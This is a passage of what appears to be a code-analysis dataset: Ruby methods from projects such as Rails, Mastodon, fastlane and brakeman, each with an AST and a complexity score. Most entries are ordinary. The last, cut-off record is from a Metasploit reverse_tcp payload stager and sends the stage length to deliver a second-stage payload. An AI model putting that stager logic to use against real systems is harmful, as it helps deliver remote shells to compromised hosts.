,\"children\":[\"Error calling death handler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]},null]}]}]}","id":"204c23db-c6e9-441d-af28-82aa5a32be9e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/legacy_xcresult.rb","start_line":116,"raw_source":"def self.create(data, parent)\n        type = data[\"_type\"][\"_name\"]\n        if type == \"ActionTestSummaryGroup\"\n          return ActionTestSummaryGroup.new(data, parent)\n        elsif type == \"ActionTestMetadata\"\n          return ActionTestMetadata.new(data, parent)\n        else\n          raise \"Unsupported type: #{type}\"\n        end\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_type\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ActionTestSummaryGroup\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionTestSummaryGroup\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ActionTestMetadata\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionTestMetadata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}]}]}]}","id":"351ac53a-ed34-4259-92c5-38a2613f9cb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/groups_controller.rb","start_line":703,"raw_source":"def permissions\n    group = find_group(:name)\n    category_groups =\n      group.category_groups.select do |category_group|\n        guardian.can_see_category?(category_group.category)\n      end\n    render_serialized(\n      category_groups.sort_by { |category_group| category_group.category.name },\n      CategoryGroupSerializer,\n    )\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"category_groups\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"category_groups\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see_category?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_group\"]},\"category\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_groups\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_group\"]},\"category\"]},\"name\"]}]},{\"type\":\"const\",\"children\":[null,\"CategoryGroupSerializer\"]}]}]}]}","id":"a1d89608-9ae1-4051-9e3b-0c79163b967f"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/categories.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.bigint :project_id, null: false\n      t.string :name, null: false, default: \"\"\n      t.bigint :assigned_to_id\n      t.timestamps precision: nil\n\n      t.index :assigned_to_id, name: \"index_categories_on_assigned_to_id\"\n      t.index :project_id, name: \"issue_categories_project_id\"\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_categories_on_assigned_to_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"issue_categories_project_id\"]}]}]}]}]}]}]}","id":"cd6e7f2e-3789-4030-8e23-652f6f8283c8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/helper/git_helper.rb","start_line":12,"raw_source":"def self.git_log_between(pretty_format, from, to, merge_commit_filtering, date_format = nil, ancestry_path, app_path)\n      command = %w(git log)\n      command << \"--pretty=#{pretty_format}\"\n      command << \"--date=#{date_format}\" if date_format\n      command << '--ancestry-path' if ancestry_path\n      command << \"#{from}...#{to}\"\n      command << git_log_merge_commit_filtering_option(merge_commit_filtering)\n      command << app_path if app_path\n      # \"*command\" syntax expands \"command\" array into variable arguments, which\n      # will then be individually shell-escaped by Actions.sh.\n      Actions.sh(*command.compact, log: false).chomp\n    rescue\n      nil\n    end","complexity_score":19.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"git_log_between\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pretty_format\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]},{\"type\":\"arg\",\"children\":[\"merge_commit_filtering\"]},{\"type\":\"optarg\",\"children\":[\"date_format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"arg\",\"children\":[\"ancestry_path\"]},{\"type\":\"arg\",\"children\":[\"app_path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"log\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--pretty=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pretty_format\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--date=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_format\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestry_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--ancestry-path\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"str\",\"children\":[\"...\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"git_log_merge_commit_filtering_option\",{\"type\":\"lvar\",\"children\":[\"merge_commit_filtering\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"app_path\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"compact\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"chomp\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"0f08b31d-fa93-44c8-ad2e-3b19e2c26a89"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":307,"raw_source":"def cache!(duration = 3600, directive: \"public\")\n        unless headers[CACHE_CONTROL] =~ /no-cache/\n          set_header CACHE_CONTROL, \"#{directive}, max-age=#{duration}\"\n          set_header EXPIRES, (Time.now + duration).httpdate\n        end\n      end","complexity_score":11.65,"ast_json":"{\"type\":\"def\",\"children\":[\"cache!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"duration\",{\"type\":\"int\",\"children\":[3600]}]},{\"type\":\"kwoptarg\",\"children\":[\"directive\",{\"type\":\"str\",\"children\":[\"public\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CACHE_CONTROL\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"no-cache\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"const\",\"children\":[null,\"CACHE_CONTROL\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]}]},{\"type\":\"str\",\"children\":[\", max-age=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"const\",\"children\":[null,\"EXPIRES\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},\"httpdate\"]}]}]}]}]}","id":"85469722-6247-48a9-a73a-5737d0adeb55"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":623,"raw_source":"def test_replace_with_new\n    david = developers(:david)\n    david.projects = [projects(:action_controller), Project.new(\"name\" => \"ActionWebSearch\")]\n    david.save\n    assert_equal 2, david.projects.length\n    assert_not_includes david.projects, projects(:active_record)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_replace_with_new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"projects=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"action_controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"ActionWebSearch\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"projects\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"projects\"]},{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"active_record\"]}]}]}]}]}","id":"38aaa920-8879-43a6-857a-37e78e5d5cd8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin_controller.rb","start_line":65,"raw_source":"def test_email # rubocop:disable Metrics/AbcSize\n    raise_delivery_errors = ActionMailer::Base.raise_delivery_errors\n    # Force ActionMailer to raise delivery errors so we can catch it\n    ActionMailer::Base.raise_delivery_errors = true\n    begin\n      @test = UserMailer.test_mail(User.current).deliver_now\n      flash[:notice] = I18n.t(:notice_email_sent, value: User.current.mail)\n    rescue StandardError => e\n      flash[:error] = I18n.t(:notice_email_error, value: Redmine::CodesetUtil.replace_invalid_utf8(e.message.dup))\n    end\n    ActionMailer::Base.raise_delivery_errors = raise_delivery_errors\n    redirect_to admin_settings_mail_notifications_path, status: :see_other\n  end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raise_delivery_errors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailer\"]},\"Base\"]},\"raise_delivery_errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailer\"]},\"Base\"]},\"raise_delivery_errors=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@test\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"test_mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},\"deliver_now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_email_sent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"mail\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_email_error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redmine\"]},\"CodesetUtil\"]},\"replace_invalid_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"dup\"]}]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailer\"]},\"Base\"]},\"raise_delivery_errors=\",{\"type\":\"lvar\",\"children\":[\"raise_delivery_errors\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_settings_mail_notifications_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"a48960fb-981d-415e-8e9b-e00fe5069499"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_cross_site_scripting.rb","start_line":348,"raw_source":"def ignore_call? target, method\n    ignored_method?(target, method) or\n    safe_input_attribute?(target, method) or\n    ignored_model_method?(target, method) or\n    form_builder_method?(target, method) or\n    haml_escaped?(target, method) or\n    boolean_method?(method) or\n    cgi_escaped?(target, method) or\n    xml_escaped?(target, method)\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_method?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_input_attribute?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ignored_model_method?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"form_builder_method?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"haml_escaped?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"boolean_method?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cgi_escaped?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[null,\"xml_escaped?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}","id":"b3b56d4d-6e44-4be6-bbae-03fc6fa7024c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/status_policy.rb","start_line":4,"raw_source":"def initialize(current_account, record, preloaded_relations = {})\n    super(current_account, record)\n\n    @preloaded_relations = preloaded_relations\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_account\"]},{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"optarg\",\"children\":[\"preloaded_relations\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_account\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@preloaded_relations\",{\"type\":\"lvar\",\"children\":[\"preloaded_relations\"]}]}]}]}","id":"d0a7c7df-eb02-4f24-a78c-da08ccd85fc6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":589,"raw_source":"def test_textarea_tag_size_symbol\n    actual = textarea_tag \"body\", \"hello world\", size: \"20x40\"\n    expected = %(<textarea cols=\"20\" id=\"body\" name=\"body\" rows=\"40\">\\nhello world</textarea>)\n    assert_dom_equal expected, actual\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_textarea_tag_size_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"textarea_tag\",{\"type\":\"str\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"hello world\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"str\",\"children\":[\"20x40\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<textarea cols=\\\"20\\\" id=\\\"body\\\" name=\\\"body\\\" rows=\\\"40\\\">\\nhello world</textarea>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"7a5d4b4c-c75e-4669-8613-1ceb4f530591"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/update_status_service.rb","start_line":134,"raw_source":"def update_metadata!\n    ProcessHashtagsService.new.call(@status)\n    ProcessMentionsService.new.call(@status)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_metadata!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessHashtagsService\"]},\"new\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessMentionsService\"]},\"new\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@status\"]}]}]}]}","id":"54d51888-935a-4305-80e7-9ff98c0060ce"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/mail_handler_spec.rb","start_line":1580,"raw_source":"def work_package_created(work_package)\n    expect(work_package).to be_a(WorkPackage)\n    expect(work_package).not_to be_new_record\n    work_package.reload\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_a\",{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_new_record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"reload\"]}]}]}","id":"99d97992-b0f1-4135-a522-28d533d550d1"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/stats_controller.rb","start_line":19,"raw_source":"def month\n    @year = params[:year].to_i\n    @month = params[:month].to_i\n    @stat = current_user.stats.find_by(year: @year, month: @month)\n    @previous_stat = current_user.stats.find_by(year: @year, month: @month - 1) if @month > 1\n    @average_distance_this_year = current_user.stats.where(year: @year).average(:distance).to_i / 1000\n  end","complexity_score":33.07,"ast_json":"{\"type\":\"def\",\"children\":[\"month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@year\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@month\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"stats\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"ivar\",\"children\":[\"@year\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"ivar\",\"children\":[\"@month\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@month\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_stat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"stats\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"ivar\",\"children\":[\"@year\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@month\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@average_distance_this_year\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"stats\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"ivar\",\"children\":[\"@year\"]}]}]}]},\"average\",{\"type\":\"sym\",\"children\":[\"distance\"]}]},\"to_i\"]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]}]}]}","id":"1ddabe7f-2d1f-407d-b2d1-d459bc5da144"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/linux/armle/reverse_tcp.rb","start_line":115,"raw_source":"def handle_intermediate_stage(conn, payload)\n    print_status(\"Transmitting stage length value...(#{payload.length} bytes)\")\n\n    address_format = 'V'\n\n    # Transmit our intermediate stager\n    conn.put([ payload.length ].pack(address_format))\n\n    return true\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_intermediate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Transmitting stage length 